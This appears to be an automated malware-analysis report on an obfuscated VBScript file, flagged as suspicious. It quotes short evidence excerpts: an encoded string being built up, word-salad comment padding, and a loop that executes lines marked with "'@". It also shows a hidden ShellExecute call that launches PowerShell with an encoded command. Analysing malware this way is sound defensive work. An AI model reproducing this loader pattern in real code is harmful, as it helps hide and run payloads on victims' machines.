Suspicious ^80% Download

7581a9878bab10dd514f94a80e5535978cc0391699a2cb4079264ae8d9773943.vbs

Obfuscated VBS executes PowerShell payload

VBScript Split feeding a Mid/ChrW character decoderPowerShell executable name reference

SHA-2567581a9878bab10dd514f94a80e5535978cc0391699a2cb4079264ae8d9773943

Evidence

Encoded content decoded: base64 lines 171–173

171:72… wAAWwAAWwAAWwAAWwAAWwAAWwAAWwAAWwAAWwAAWwAAWwA"
172Libi = Libi & "AWwAAWwAAWwAAWwAAWwAAWwAAWwAAWwAAWwAAWwAAWwAAWwAAWwAAWwAAWwAAWwAAWwAAWwAAWwAAWwAAWwAAWwAAWwAAWwAAWwAAWw"
173Libi = Libi & "AAWwAAWwAAWwAAWwAAWwAAWwAAWwA …

Five contiguous long VB comments lines 1197–1211

1197:95… cialise Lidendes192 Bagslagenes96 Mejetrskende Chatelaine 
1198
1199
1200'Dagassa HAEMAD effektueringers Hylekorene242 Unheroicness 
1201'skudlinjen Unbirdlike74 Reprsentativestes Servicekontrakt elopes Appeasement SJALSMNSTER Sena43 Kontohavernes 
1202'Patcheries143 undiscording arbejdsdirektoratets 
⋯9 lines

VBScript Split() string split call lines 1216–1226

1216:12… ENS faktors Finance134 Subextensibness215 VINDMAGER OPHIOSTAPHYLE udsalgssteders Glaucoma89 
1217cc=split(strFileText,vbNewline)
1218
1219Dim dispurveyunwieldi
⋯7 lines

VBScript Mid to ChrW decode step lines 1231–1241

1231:43… e TYNDERE tikronesedlen Endowing15 santalic Slfangere23 
1232	if left(cc(i),2) = "'@" then execute mid(cc(i),3,len(cc(i)))
1233next 
1234
⋯7 lines

PowerShell executable name reference lines 1270–1273

1270:20… NATE Optimistic76 PLANOGRAPHICALLY Jeffreys 
1271 sa.ShellExecute "powershell.exe", "-Enco" + "dedComman"&"d " & chrw(34) & Grun & chrw(34), "", "", 0
1272end if 
1273'disperple Sikkerhedsnaal50 LANGUEDOCIAN Tsne89  …